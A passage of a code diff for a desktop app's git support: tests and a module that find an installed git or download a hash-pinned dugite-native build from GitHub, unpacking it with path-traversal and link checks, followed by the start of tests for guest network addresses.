+ const deps: FindGitDeps = {
+ platform,
+ arch: 'arm64',
+ env,
+ userDataDir: dir,
+ exists: (path) => files.includes(path),
+ run: (command, args, opts) => {
+ started.push(`${command} ${args.join(' ')}`.trim());
+ // Only where the person's files are: no PATH, nothing of the app's own.
+ expect(Object.keys(opts.env).sort().join(',')).not.toMatch(/PATH\b|SECRET/);
+ expect(opts.timeoutMs).toBe(5000);
+ const answer = answers[command] ?? { ok: false, stdout: '' };
+ return Promise.resolve(typeof answer === 'function' ? answer(args, opts.env) : answer);
+ },
+ };
+ return { deps, started };
+ }
+ const VERSION: RunResult = { ok: true, stdout: 'git version 2.45.2\n' };
+
+ it('with the test seam: this computer has no git but the app’s own, checked against the test’s file', async () => {
+ const { deps, started } = world('darwin', ['/opt/homebrew/bin/git'], { '/bin/zsh': { ok: true, stdout: '/opt/homebrew/bin/git\n' }, '/opt/homebrew/bin/git': VERSION });
+ const download = { file: 'git.tar.gz', bytes: 512, sha256: 'b'.repeat(64) };
+ expect(await findGit({ ...deps, onlyOwn: true, download })).toBeNull();
+ // Nothing of the person's own was looked for, let alone started.
+ expect(started).toEqual([]);
+
+ const home = gitHome(dir);
+ mkdirSync(join(home, 'bin'), { recursive: true });
+ writeFileSync(join(home, 'bin', 'git'), GIT_SCRIPT, { mode: 0o755 });
+ writeFileSync(join(home, GIT_RECORD_FILE), JSON.stringify({ tag: GIT_TAG, sha256: download.sha256, entries: 1 }));
+ const program = gitProgramIn(home, 'darwin');
+ const own = world('darwin', [], { [program]: VERSION });
+ expect(await findGit({ ...own.deps, onlyOwn: true, download })).toEqual({ path: program, from: 'app' });
+ // Without the seam's file that record names a hash this app does not pin: not the app's own.
+ expect(await findGit({ ...own.deps, onlyOwn: true })).toBeNull();
+ });
+
+ it('on a Mac with Homebrew: the one the login shell knows, greeting and all', async () => {
+ const { deps, started } = world('darwin', ['/opt/homebrew/bin/git', '/usr/bin/git'], {
+ '/bin/zsh': { ok: true, stdout: 'Last login: Fri Oct 9\nWelcome back\n/opt/homebrew/bin/git\n' },
+ '/opt/homebrew/bin/git': VERSION,
+ });
+ expect(await findGit(deps)).toEqual({ path: '/opt/homebrew/bin/git', from: 'shell' });
+ expect(started).toEqual(['/bin/zsh -lic command -v git', '/opt/homebrew/bin/git --version']);
+ });
+
+ it('on a Mac with NO developer tools: Apple’s stand-in is passed over without being started', async () => {
+ const { deps, started } = world('darwin', ['/usr/bin/git'], {
+ '/bin/zsh': { ok: true, stdout: '/usr/bin/git\n' },
+ '/usr/bin/xcode-select': { ok: false, stdout: '' },
+ '/usr/bin/git': VERSION,
+ });
+ expect(await findGit(deps)).toBeNull();
+ // Asked whether the tools are there; the stand-in itself never ran.
+ expect(started).toEqual(['/bin/zsh -lic command -v git', '/usr/bin/xcode-select -p']);
+ });
+
+ it('on a Mac whose developer tools were removed but still named: the folder must exist', async () => {
+ const { deps, started } = world('darwin', ['/usr/bin/git'], {
+ '/bin/zsh': { ok: true, stdout: '/usr/bin/git\n' },
+ '/usr/bin/xcode-select': { ok: true, stdout: '/Library/Developer/CommandLineTools\n' },
+ });
+ expect(await findGit(deps)).toBeNull();
+ expect(started).not.toContain('/usr/bin/git --version');
+ });
+
+ it('on a Mac with Apple’s developer tools: /usr/bin/git is git', async () => {
+ const { deps } = world('darwin', ['/usr/bin/git', '/Library/Developer/CommandLineTools'], {
+ '/bin/zsh': { ok: true, stdout: '/usr/bin/git\n' },
+ '/usr/bin/xcode-select': { ok: true, stdout: '/Library/Developer/CommandLineTools\n' },
+ '/usr/bin/git': { ok: true, stdout: 'git version 2.50.1 (Apple Git-155)\n' },
+ });
+ expect(await findGit(deps)).toEqual({ path: '/usr/bin/git', from: 'system' });
+ });
+
+ it('a path that does not answer is not git, and the next one is tried', async () => {
+ const { deps, started } = world('linux', ['/home/a/bin/git', '/usr/bin/git'], {
+ '/bin/bash': { ok: true, stdout: '/home/a/bin/git\n' },
+ '/home/a/bin/git': { ok: true, stdout: 'not git at all\n' },
+ '/usr/bin/git': VERSION,
+ }, { HOME: '/home/a', SHELL: '/bin/bash' });
+ expect(await findGit(deps)).toEqual({ path: '/usr/bin/git', from: 'system' });
+ expect(started).toEqual(['/bin/bash -lic command -v git', '/home/a/bin/git --version', '/usr/bin/git --version']);
+ });
+
+ it('a shell that hangs or fails still leaves the usual places', async () => {
+ const { deps } = world('linux', ['/usr/bin/git'], { '/usr/bin/git': VERSION }, { HOME: '/home/a' });
+ expect(await findGit(deps)).toEqual({ path: '/usr/bin/git', from: 'system' });
+ });
+
+ it('on Windows: `where git`, then Git for Windows’ usual folders', async () => {
+ const usual = 'C:\\Program Files\\Git\\cmd\\git.exe';
+ const first = world('win32', ['C:\\tools\\git\\cmd\\git.exe'], { 'where.exe': { ok: true, stdout: 'C:\\tools\\git\\cmd\\git.exe\r\nC:\\other\\git.exe\r\n' }, 'C:\\tools\\git\\cmd\\git.exe': VERSION }, { USERPROFILE: 'C:\\Users\\Ava', ProgramFiles: 'C:\\Program Files' });
+ expect(await findGit(first.deps)).toEqual({ path: 'C:\\tools\\git\\cmd\\git.exe', from: 'shell' });
+ const second = world('win32', [usual], { [usual]: VERSION }, { USERPROFILE: 'C:\\Users\\Ava', ProgramFiles: 'C:\\Program Files' });
+ expect(await findGit(second.deps)).toEqual({ path: usual, from: 'system' });
+ });
+
+ it('the app’s own comes first when it is in place and answers; when it does not answer, the person’s is used', async () => {
+ const home = gitHome(dir);
+ mkdirSync(join(home, 'bin'), { recursive: true });
+ const own = join(home, 'bin', 'git');
+ writeFileSync(own, GIT_SCRIPT, { mode: 0o755 });
+ writeFileSync(join(home, GIT_RECORD_FILE), JSON.stringify({ tag: GIT_TAG, sha256: (GIT_DOWNLOADS['darwin-arm64'] as GitDownload).sha256, entries: 4 }));
+
+ const answering = world('darwin', ['/opt/homebrew/bin/git'], { [own]: { ok: true, stdout: 'git version 2.53.0\n' }, '/bin/zsh': { ok: true, stdout: '/opt/homebrew/bin/git\n' }, '/opt/homebrew/bin/git': VERSION });
+ expect(await findGit(answering.deps)).toEqual({ path: own, from: 'app' });
+ expect(answering.started).toEqual([`${own} --version`]);
+
+ const broken = world('darwin', ['/opt/homebrew/bin/git'], { '/bin/zsh': { ok: true, stdout: '/opt/homebrew/bin/git\n' }, '/opt/homebrew/bin/git': VERSION });
+ expect(await findGit(broken.deps)).toEqual({ path: '/opt/homebrew/bin/git', from: 'shell' });
+ });
+
+ it('none: nothing found is nothing, not an error', async () => {
+ const { deps } = world('darwin', [], { '/bin/zsh': { ok: true, stdout: '' } });
+ expect(await findGit(deps)).toBeNull();
+ });
+});
diff --git a/apps/desktop/src/main/git.ts b/apps/desktop/src/main/git.ts
new file mode 100644
index 000000000..818962050
--- /dev/null
+++ b/apps/desktop/src/main/git.ts
@@ -0,0 +1,559 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+/**
+ * git for a project's versions: found on this computer, or fetched on a
+ * person's yes.
+ *
+ * Adminium Designer keeps a version after every change with git. A person who
+ * installs the app may have none, so the app looks, in this order, and the
+ * first that really answers wins:
+ *
+ * 1. the app's own, when an earlier download is in place and whole;
+ * 2. the one the person's shell knows (an app started from the Dock has a
+ * short PATH, so the login shell is asked);
+ * 3. none: versions are off, and the app offers to fetch one.
+ *
+ * THE MAC'S STAND-IN. A Mac with no developer tools still has `/usr/bin/git`.
+ * It is not git: started, it raises the system's "install the command line
+ * developer tools" dialog and does no work. So `/usr/bin/git` counts only when
+ * `xcode-select -p` names a folder that exists, and is otherwise passed over
+ * WITHOUT BEING STARTED. Starting it "to see" is the dialog.
+ *
+ * THE DOWNLOAD is git's own build as its publisher ships it (`dugite-native`,
+ * from GitHub's releases), fetched on a yes and run as a separate program. We
+ * do not ship it and do not mirror it. Which file, and the SHA-256 it must
+ * have, are constants in this signed app: a hash read from beside the download
+ * would be the download vouching for itself.
+ *
+ * Electron-free: every line is tested under plain Node.
+ */
+import { createHash } from 'node:crypto';
+import { createWriteStream, existsSync, mkdirSync, readFileSync, readdirSync, rmSync, writeFileSync } from 'node:fs';
+import { chmod, link, mkdir, rename, symlink, writeFile } from 'node:fs/promises';
+import { dirname, isAbsolute, join, normalize, posix, resolve, sep, win32 } from 'node:path';
+import { Readable } from 'node:stream';
+import { createGunzip } from 'node:zlib';
+
+// ─── What is fetched ─────────────────────────────────────────────────────────
+
+/** The release every download below belongs to. A newer app may pin a newer one; an installed older one keeps working. */
+export const GIT_TAG = 'v2.53.0-4';
+export const GIT_VERSION = '2.53.0';
+
+export interface GitDownload {
+ file: string;
+ bytes: number;
+ sha256: string;
+}
+
+/** One file per system and chip. A system that is not here is offered nothing. */
+export const GIT_DOWNLOADS: Readonly> = Object.freeze({
+ 'darwin-arm64': { file: 'dugite-native-v2.53.0-4098283-macOS-arm64.tar.gz', bytes: 62_348_987, sha256: 'f9dc64635a5b62fbd7ad95db73268bbb8912255ac516d65d37bf7af22fcb8ffe' },
+ 'darwin-x64': { file: 'dugite-native-v2.53.0-4098283-macOS-x64.tar.gz', bytes: 66_136_060, sha256: 'ae6686718aa34f4140424db16b92a47dcffd6d1f312eb8b5f3b267f7404e2680' },
+ 'linux-x64': { file: 'dugite-native-v2.53.0-4098283-ubuntu-x64.tar.gz', bytes: 65_269_219, sha256: 'cca76aa31ad9e835e771ee7f55b73934777fbd8d16757a10d307ba06de860901' },
+ 'linux-arm64': { file: 'dugite-native-v2.53.0-4098283-ubuntu-arm64.tar.gz', bytes: 23_223_345, sha256: 'a161f45af4626bb7e0c688854bd4a9aee47cc514bca404cff0a5e3536ef1c0af' },
+ 'win32-x64': { file: 'dugite-native-v2.53.0-4098283-windows-x64.tar.gz', bytes: 47_119_821, sha256: '7b76bc5c32c0d7c5984efdc2a8a32697cf1e8a43bc55176fbf9869c0ee995130' },
+ 'win32-arm64': { file: 'dugite-native-v2.53.0-4098283-windows-arm64.tar.gz', bytes: 45_084_825, sha256: '1abbeb3a2ce06e9b80e75bb888dce959b6c73bdb11ccc670a01a71d64f4422a5' },
+});
+
+export function gitDownloadFor(platform: string, arch: string): GitDownload | null {
+ return GIT_DOWNLOADS[`${platform}-${arch}`] ?? null;
+}
+
+/** Where a download's file is. Built from the two constants and nothing a page or a folder could say. */
+export function gitDownloadUrl(download: GitDownload): string {
+ return `https://github.com/desktop/dugite-native/releases/download/${GIT_TAG}/${download.file}`;
+}
+
+/** The only hosts a download may be answered from: the address itself, and where GitHub sends a release's file. */
+const DOWNLOAD_HOSTS = new Set(['github.com', 'objects.githubusercontent.com', 'release-assets.githubusercontent.com']);
+
+export function isGitDownloadHost(url: string): boolean {
+ try {
+ const parsed = new URL(url);
+ return parsed.protocol === 'https:' && DOWNLOAD_HOSTS.has(parsed.hostname) && parsed.username === '' && parsed.port === '';
+ } catch {
+ return false;
+ }
+}
+
+// ─── Where the app's own git lives ───────────────────────────────────────────
+
+export interface GitInstallRecord {
+ tag: string;
+ sha256: string;
+ /** How many files and links were written: a folder that holds fewer was cut short. */
+ entries: number;
+}
+
+export const GIT_RECORD_FILE = 'installed.json';
+
+/** `/git/`. */
+export function gitHome(userDataDir: string, tag: string = GIT_TAG): string {
+ return join(userDataDir, 'git', tag);
+}
+
+/** The program inside an unpacked download. */
+export function gitProgramIn(home: string, platform: string): string {
+ return platform === 'win32' ? join(home, 'cmd', 'git.exe') : join(home, 'bin', 'git');
+}
+
+export function readGitRecord(home: string): GitInstallRecord | null {
+ try {
+ const parsed = JSON.parse(readFileSync(join(home, GIT_RECORD_FILE), 'utf8')) as Partial;
+ if (typeof parsed.tag !== 'string' || typeof parsed.sha256 !== 'string' || typeof parsed.entries !== 'number') return null;
+ return { tag: parsed.tag, sha256: parsed.sha256, entries: parsed.entries };
+ } catch {
+ return null;
+ }
+}
+
+/**
+ * The app's own git, when one is in place and whole: its record is there (it
+ * is written last), it names a download this app knows, and the program
+ * exists. Any tag will do: an app that pins a newer one still uses the older
+ * one a person already has.
+ */
+export function ownGit(userDataDir: string, platform: string, arch: string, pinned: GitDownload | null = gitDownloadFor(platform, arch)): string | null {
+ const base = join(userDataDir, 'git');
+ let tags: string[];
+ try {
+ tags = readdirSync(base).sort().reverse();
+ } catch {
+ return null;
+ }
+ for (const tag of tags) {
+ const home = join(base, tag);
+ const record = readGitRecord(home);
+ if (record === null || record.tag !== tag) continue;
+ // The pinned release must match its pinned hash; an older release is trusted by its own record.
+ if (tag === GIT_TAG && record.sha256 !== pinned?.sha256) continue;
+ const program = gitProgramIn(home, platform);
+ if (existsSync(program)) return program;
+ }
+ return null;
+}
+
+/** At launch: a folder under `git/` with no record is a download that was cut short. It goes. */
+export function removeUnfinishedGit(userDataDir: string): string[] {
+ const base = join(userDataDir, 'git');
+ const removed: string[] = [];
+ let names: string[];
+ try {
+ names = readdirSync(base);
+ } catch {
+ return removed;
+ }
+ for (const name of names) {
+ const home = join(base, name);
+ if (readGitRecord(home) !== null) continue;
+ rmSync(home, { recursive: true, force: true });
+ removed.push(name);
+ }
+ return removed;
+}
+
+// ─── Finding it ──────────────────────────────────────────────────────────────
+
+export interface RunResult {
+ ok: boolean;
+ stdout: string;
+}
+
+export interface FindGitDeps {
+ platform: NodeJS.Platform;
+ arch: string;
+ /** The app's environment; only `HOME`, `USER`, `SHELL` and Windows' folder names are read. */
+ env: NodeJS.ProcessEnv;
+ userDataDir: string;
+ exists: (path: string) => boolean;
+ /** Start a program with a time limit and an environment that is ONLY what is given. Never throws. */
+ run: (command: string, args: readonly string[], opts: { timeoutMs: number; env: Record }) => Promise;
+ /** Test seams. `onlyOwn`: this computer is taken to have no git but the app's. `download`: the file the app's own is checked against. */
+ onlyOwn?: boolean | undefined;
+ download?: GitDownload | undefined;
+}
+
+export type GitFound = { path: string; from: 'app' | 'shell' | 'system' };
+
+const ASK_MS = 5_000;
+const APPLE_STAND_IN = '/usr/bin/git';
+
+/** What a shell or `--version` is started with: where the person's files are, and nothing else. */
+function bareEnvironment(env: NodeJS.ProcessEnv): Record {
+ const out: Record = {};
+ for (const name of ['HOME', 'USER', 'LOGNAME', 'SHELL', 'USERPROFILE', 'SystemRoot', 'PATHEXT', 'ComSpec']) {
+ const value = env[name];
+ if (value !== undefined && value !== '') out[name] = value;
+ }
+ return out;
+}
+
+/** The last line of what a shell printed that is an absolute path. A login shell may greet before it answers. */
+function pathIn(stdout: string, platform: string): string | null {
+ // Judged as the system the path is ON judges it, whatever system reads it.
+ const absolute = platform === 'win32' ? win32.isAbsolute : posix.isAbsolute;
+ const lines = stdout.split(/\r?\n/).map((line) => line.trim());
+ for (let i = lines.length - 1; i >= 0; i -= 1) {
+ const line = lines[i] ?? '';
+ if (line !== '' && absolute(line)) return line;
+ }
+ return null;
+}
+
+/** On a Mac: whether Apple's developer tools are really there, which is what makes `/usr/bin/git` git. */
+async function appleToolsInstalled(deps: FindGitDeps): Promise {
+ const asked = await deps.run('/usr/bin/xcode-select', ['-p'], { timeoutMs: ASK_MS, env: bareEnvironment(deps.env) });
+ const folder = asked.stdout.trim();
+ return asked.ok && folder !== '' && isAbsolute(folder) && deps.exists(folder);
+}
+
+async function answers(deps: FindGitDeps, path: string): Promise {
+ const asked = await deps.run(path, ['--version'], { timeoutMs: ASK_MS, env: bareEnvironment(deps.env) });
+ return asked.ok && /^git version \d/.test(asked.stdout.trim());
+}
+
+/** The paths the person's own setup offers, most telling first. None is started here. */
+async function candidates(deps: FindGitDeps): Promise> {
+ const env = bareEnvironment(deps.env);
+ const found: Array<{ path: string; from: 'shell' | 'system' }> = [];
+ if (deps.platform === 'win32') {
+ // `where` looks along the person's PATH, so this one question is asked with it; nothing else here is.
+ const path = deps.env['Path'] ?? deps.env['PATH'];
+ const where = await deps.run('where.exe', ['git'], { timeoutMs: ASK_MS, env: path === undefined || path === '' ? env : { ...env, Path: path } });
+ const first = where.ok ? pathIn(where.stdout.split(/\r?\n/)[0] ?? '', 'win32') : null;
+ if (first !== null) found.push({ path: first, from: 'shell' });
+ for (const base of [deps.env['ProgramFiles'], deps.env['ProgramFiles(x86)'], deps.env['LOCALAPPDATA'] === undefined ? undefined : win32.join(deps.env['LOCALAPPDATA'], 'Programs')]) {
+ if (base !== undefined && base !== '') found.push({ path: win32.join(base, 'Git', 'cmd', 'git.exe'), from: 'system' });
+ }
+ } else {
+ const shell = deps.env['SHELL'] !== undefined && isAbsolute(deps.env['SHELL']) ? deps.env['SHELL'] : deps.platform === 'darwin' ? '/bin/zsh' : '/bin/sh';
+ const asked = await deps.run(shell, ['-lic', 'command -v git'], { timeoutMs: ASK_MS, env });
+ const fromShell = asked.ok ? pathIn(asked.stdout, deps.platform) : null;
+ // Apple's own place is the system's whoever names it.
+ if (fromShell !== null) found.push({ path: fromShell, from: fromShell === APPLE_STAND_IN ? 'system' : 'shell' });
+ for (const path of ['/usr/bin/git', '/usr/local/bin/git', '/opt/homebrew/bin/git']) found.push({ path, from: 'system' });
+ }
+ const seen = new Set();
+ return found.filter((candidate) => !seen.has(candidate.path) && seen.add(candidate.path) !== undefined && deps.exists(candidate.path));
+}
+
+/**
+ * Find a git that really works, or `null`. Called once per launch, and again
+ * when the person says "Look again".
+ */
+export async function findGit(deps: FindGitDeps): Promise {
+ const own = deps.download === undefined ? ownGit(deps.userDataDir, deps.platform, deps.arch) : ownGit(deps.userDataDir, deps.platform, deps.arch, deps.download);
+ if (own !== null && (await answers(deps, own))) return { path: own, from: 'app' };
+ if (deps.onlyOwn === true) return null;
+
+ let appleTools: boolean | null = null;
+ for (const { path, from } of await candidates(deps)) {
+ if (deps.platform === 'darwin' && path === APPLE_STAND_IN) {
+ appleTools ??= await appleToolsInstalled(deps);
+ // Not started, not even to ask its version: starting it is the dialog.
+ if (!appleTools) continue;
+ }
+ // A path that does not answer is not git; the next one may be.
+ if (await answers(deps, path)) return { path, from };
+ }
+ return null;
+}
+
+/**
+ * {@link FindGitDeps.run} for a real machine: the program, its arguments, a
+ * time limit, and an environment that is only what was given. No shell.
+ */
+export async function runProgram(command: string, args: readonly string[], opts: { timeoutMs: number; env: Record }): Promise {
+ const { execFile } = await import('node:child_process');
+ return new Promise((done) => {
+ try {
+ execFile(command, [...args], { timeout: opts.timeoutMs, env: opts.env, windowsHide: true, maxBuffer: 1024 * 1024 }, (error, stdout) => {
+ done({ ok: error === null, stdout: String(stdout) });
+ });
+ } catch {
+ done({ ok: false, stdout: '' });
+ }
+ });
+}
+
+// ─── Fetching it ─────────────────────────────────────────────────────────────
+
+export type GitFetchFailure = 'no-download' | 'no-connection' | 'refused-address' | 'wrong-file' | 'stopped' | 'could-not-unpack';
+
+export class GitFetchError extends Error {
+ override readonly name = 'GitFetchError';
+ constructor(
+ readonly reason: GitFetchFailure,
+ message: string,
+ ) {
+ super(message);
+ }
+}
+
+export interface FetchGitOptions {
+ userDataDir: string;
+ platform: string;
+ arch: string;
+ /** `fetch`, asked never to follow a redirect itself (each hop is checked here). */
+ fetch: (url: string, init: { redirect: 'manual'; signal?: AbortSignal }) => Promise;
+ signal?: AbortSignal;
+ onProgress?: (received: number, total: number) => void;
+ /** Test seams: the file and where it is. Production passes neither. */
+ download?: GitDownload;
+ url?: string;
+ allowHost?: (url: string) => boolean;
+}
+
+const MAX_HOPS = 5;
+
+/** Follow a download's redirects by hand, each one only to a host a release's file is served from. */
+async function open(opts: FetchGitOptions, first: string): Promise {
+ const allowed = opts.allowHost ?? isGitDownloadHost;
+ let url = first;
+ for (let hop = 0; hop <= MAX_HOPS; hop += 1) {
+ if (!allowed(url)) throw new GitFetchError('refused-address', `The download was sent to an address that is not GitHub's: ${new URL(url).host}`);
+ let response: Response;
+ try {
+ response = await opts.fetch(url, { redirect: 'manual', ...(opts.signal === undefined ? {} : { signal: opts.signal }) });
+ } catch (error) {
+ if (opts.signal?.aborted === true) throw new GitFetchError('stopped', 'The download was stopped.');
+ throw new GitFetchError('no-connection', `Could not reach GitHub: ${error instanceof Error ? error.message : String(error)}`);
+ }
+ if (response.status >= 300 && response.status < 400) {
+ const next = response.headers.get('location');
+ if (next === null) throw new GitFetchError('no-connection', 'GitHub answered with a redirect to nowhere.');
+ url = new URL(next, url).toString();
+ continue;
+ }
+ if (!response.ok || response.body === null) throw new GitFetchError('no-connection', `GitHub answered ${String(response.status)}.`);
+ return response;
+ }
+ throw new GitFetchError('refused-address', 'The download was redirected too many times.');
+}
+
+/**
+ * Fetch git, check it, unpack it, and say where its program is.
+ *
+ * The file is hashed as it arrives and judged before a byte of it is unpacked.
+ * It is unpacked into a folder beside the final one and moved into place, and
+ * the record is written last: at any moment before that, the folder is one
+ * `removeUnfinishedGit` deletes.
+ */
+export async function fetchGit(opts: FetchGitOptions): Promise {
+ const download = opts.download ?? gitDownloadFor(opts.platform, opts.arch);
+ if (download === null) throw new GitFetchError('no-download', 'There is no git to download for this kind of computer.');
+ const home = gitHome(opts.userDataDir);
+ const work = `${home}.partial`;
+ const archive = `${home}.download`;
+ const cleanUp = (): void => {
+ rmSync(work, { recursive: true, force: true });
+ rmSync(archive, { force: true });
+ };
+ cleanUp();
+ mkdirSync(dirname(home), { recursive: true });
+
+ try {
+ const response = await open(opts, opts.url ?? gitDownloadUrl(download));
+ const hash = createHash('sha256');
+ let received = 0;
+ const file = createWriteStream(archive);
+ // A full disk or a folder that cannot be written: heard here, so that it ends the download instead of ending
+ // the app (a stream's failure nobody listens to) or leaving a wait for room that never comes.
+ let broken: Error | null = null;
+ const failed = new Promise((_resolve, reject) => {
+ file.once('error', (error) => {
+ broken = error;
+ reject(error);
+ });
+ });
+ failed.catch(() => undefined);
+ try {
+ for await (const chunk of Readable.fromWeb(response.body as import('node:stream/web').ReadableStream)) {
+ const bytes = chunk as Buffer;
+ received += bytes.length;
+ // A file that grows past what was promised is not the file.
+ if (received > download.bytes) throw new GitFetchError('wrong-file', 'The download is larger than the file it should be.');
+ hash.update(bytes);
+ if (broken !== null) throw broken as Error;
+ if (!file.write(bytes)) await Promise.race([new Promise((drained) => file.once('drain', drained)), failed]);
+ opts.onProgress?.(received, download.bytes);
+ }
+ } catch (error) {
+ if (error instanceof GitFetchError) throw error;
+ if (opts.signal?.aborted === true) throw new GitFetchError('stopped', 'The download was stopped.');
+ throw new GitFetchError('no-connection', `The download broke off: ${error instanceof Error ? error.message : String(error)}`);
+ } finally {
+ if (broken === null) await Promise.race([new Promise((closed) => file.end(closed)), failed]).catch(() => undefined);
+ else file.destroy();
+ }
+ if (broken !== null) throw new GitFetchError('no-connection', `The download could not be written: ${(broken as Error).message}`);
+ if (hash.digest('hex') !== download.sha256) throw new GitFetchError('wrong-file', 'The file that arrived is not the one this version of Adminium expects. It was deleted.');
+
+ let entries: number;
+ try {
+ entries = await unpackTarGz(archive, work, opts.signal);
+ } catch (error) {
+ if (opts.signal?.aborted === true) throw new GitFetchError('stopped', 'The download was stopped.');
+ throw new GitFetchError('could-not-unpack', `The download could not be unpacked: ${error instanceof Error ? error.message : String(error)}`);
+ }
+ rmSync(home, { recursive: true, force: true });
+ await rename(work, home);
+ // Last: until this line the folder is one the next launch deletes.
+ writeFileSync(join(home, GIT_RECORD_FILE), `${JSON.stringify({ tag: GIT_TAG, sha256: download.sha256, entries } satisfies GitInstallRecord, null, 2)}\n`);
+ return gitProgramIn(home, opts.platform);
+ } finally {
+ cleanUp();
+ }
+}
+
+// ─── Unpacking ───────────────────────────────────────────────────────────────
+
+export class UnpackError extends Error {
+ override readonly name = 'UnpackError';
+}
+
+/** A name from the archive, as a path inside `target`, or a refusal. */
+function inside(target: string, name: string): string {
+ const cleaned = name.replace(/\\/g, '/');
+ if (cleaned === '' || cleaned.startsWith('/') || /^[A-Za-z]:/.test(cleaned) || cleaned.split('/').includes('..')) {
+ throw new UnpackError(`an entry leaves the folder it is unpacked into: ${name}`);
+ }
+ const full = resolve(target, normalize(cleaned));
+ if (full !== target && !full.startsWith(target + sep)) throw new UnpackError(`an entry leaves the folder it is unpacked into: ${name}`);
+ return full;
+}
+
+const text = (block: Buffer, start: number, length: number): string => {
+ const slice = block.subarray(start, start + length);
+ const end = slice.indexOf(0);
+ return slice.subarray(0, end === -1 ? length : end).toString('utf8');
+};
+const octal = (block: Buffer, start: number, length: number): number => {
+ const value = text(block, start, length).trim();
+ return value === '' ? 0 : Number.parseInt(value, 8);
+};
+
+/** The records of a pax header: ` =\n`, the length counting itself. */
+function paxRecords(data: Buffer): Record {
+ const out: Record = {};
+ let at = 0;
+ while (at < data.length) {
+ const space = data.indexOf(0x20, at);
+ if (space === -1) break;
+ const length = Number.parseInt(data.subarray(at, space).toString('utf8'), 10);
+ if (!Number.isInteger(length) || length <= 0) break;
+ const record = data.subarray(space + 1, at + length - 1).toString('utf8');
+ const equals = record.indexOf('=');
+ if (equals !== -1) out[record.slice(0, equals)] = record.slice(equals + 1);
+ at += length;
+ }
+ return out;
+}
+
+/**
+ * Unpack a `.tar.gz` into `target` (which must not exist), and say how many
+ * files and links were written.
+ *
+ * Read as a stream, entry by entry: files, folders, and the two kinds of link
+ * a git build is full of. Refused, with nothing more written after: a name
+ * that is absolute or climbs out with `..`; a symbolic link whose target,
+ * followed from where the link stands, lands outside `target`; a hard link to
+ * a file outside it; a device, a pipe, or any kind this does not know.
+ */
+export async function unpackTarGz(archive: string, target: string, signal?: AbortSignal): Promise {
+ const { createReadStream } = await import('node:fs');
+ const root = resolve(target);
+ if (existsSync(root)) throw new UnpackError(`the folder to unpack into already exists: ${root}`);
+ await mkdir(root, { recursive: true });
+
+ const stream = createReadStream(archive).pipe(createGunzip());
+ let pending: Buffer = Buffer.alloc(0);
+ let entries = 0;
+ let longName: string | null = null;
+ let longLink: string | null = null;
+ let pax: Record = {};
+ // A header that has been read, whose data has not all arrived yet.
+ let current: { kind: string; path: string; linkTo: string; mode: number; size: number; padded: number } | null = null;
+
+ const finish = async (entry: NonNullable, data: Buffer): Promise => {
+ switch (entry.kind) {
+ case 'L':
+ longName = data.toString('utf8').replace(/\0+$/, '');
+ return;
+ case 'K':
+ longLink = data.toString('utf8').replace(/\0+$/, '');
+ return;
+ case 'x':
+ pax = paxRecords(data);
+ return;
+ case 'g':
+ return;
+ default:
+ break;
+ }
+ const name = pax['path'] ?? longName ?? entry.path;
+ const linkTo = pax['linkpath'] ?? longLink ?? entry.linkTo;
+ longName = null;
+ longLink = null;
+ pax = {};
+ const path = inside(root, name.replace(/\/+$/, ''));
+ if (entry.kind === '5') {
+ await mkdir(path, { recursive: true });
+ return;
+ }
+ await mkdir(dirname(path), { recursive: true });
+ if (entry.kind === '0' || entry.kind === '\0' || entry.kind === '7') {
+ await writeFile(path, data);
+ await chmod(path, (entry.mode & 0o111) !== 0 ? 0o755 : 0o644);
+ } else if (entry.kind === '2') {
+ // Followed from where the link stands, it must still be inside.
+ if (isAbsolute(linkTo) || /^[A-Za-z]:/.test(linkTo)) throw new UnpackError(`a link points outside the folder: ${name} → ${linkTo}`);
+ const lands = resolve(dirname(path), linkTo);
+ if (lands !== root && !lands.startsWith(root + sep)) throw new UnpackError(`a link points outside the folder: ${name} → ${linkTo}`);
+ await symlink(linkTo, path);
+ } else if (entry.kind === '1') {
+ await link(inside(root, linkTo), path);
+ } else {
+ throw new UnpackError(`an entry of a kind that is not unpacked (${JSON.stringify(entry.kind)}): ${name}`);
+ }
+ entries += 1;
+ };
+
+ for await (const chunk of stream) {
+ if (signal?.aborted === true) {
+ stream.destroy();
+ throw new UnpackError('stopped');
+ }
+ pending = pending.length === 0 ? (chunk as Buffer) : Buffer.concat([pending, chunk as Buffer]);
+ for (;;) {
+ if (current === null) {
+ if (pending.length < 512) break;
+ const header = pending.subarray(0, 512);
+ pending = pending.subarray(512);
+ // Two empty blocks end an archive; one is skipped the same way.
+ if (header.every((byte) => byte === 0)) continue;
+ const prefix = text(header, 345, 155);
+ const name = text(header, 0, 100);
+ const size = octal(header, 124, 12);
+ const kind = text(header, 156, 1) || '\0';
+ const holdsData = !['1', '2', '5'].includes(kind);
+ current = {
+ kind,
+ path: prefix === '' ? name : `${prefix}/${name}`,
+ linkTo: text(header, 157, 100),
+ mode: octal(header, 100, 8),
+ size: holdsData ? size : 0,
+ padded: holdsData ? Math.ceil(size / 512) * 512 : 0,
+ };
+ }
+ if (pending.length < current.padded) break;
+ const data = Buffer.from(pending.subarray(0, current.size));
+ pending = pending.subarray(current.padded);
+ const entry = current;
+ current = null;
+ await finish(entry, data);
+ }
+ }
+ if (current !== null) throw new UnpackError('the archive ends in the middle of a file');
+ return entries;
+}
diff --git a/apps/desktop/src/main/guest.test.ts b/apps/desktop/src/main/guest.test.ts
new file mode 100644
index 000000000..44a54624b
--- /dev/null
+++ b/apps/desktop/src/main/guest.test.ts
@@ -0,0 +1,77 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+import { describe, expect, it, vi } from 'vitest';
+
+import { checkGuest, guestMayNavigate, guestPartition, isPrivateHost, judgeGuestAddress, rememberGuest } from './guest.js';
+
+describe('an address on the person’s own network', () => {
+ it('is a .local name, this computer, a bare name, or a private range', () => {
+ for (const host of ['office-pc.local', 'localhost', 'office-pc', '10.0.0.5', '172.16.4.1', '172.31.255.1', '192.168.1.20', '169.254.3.3', '127.0.0.1', '[::1]', 'fd12:3456::1', 'fe80::1']) expect(isPrivateHost(host), host).toBe(true);
+ });
+ it('is not a site, nor an address just outside a private range', () => {
+ for (const host of ['example.com', 'adminium.dev', '8.8.8.8', '172.32.0.1', '172.15.0.1', '192.169.1.1', '2001:db8::1', 'local.example.com']) expect(isPrivateHost(host), host).toBe(false);
+ });
+});
+
+describe('what a person typed', () => {
+ it('with no scheme: http on their own network, https anywhere else; only the origin is kept', () => {
+ expect(judgeGuestAddress(' office-pc.local:4600 ')).toEqual({ ok: true, origin: 'http://office-pc.local:4600', encrypted: false });
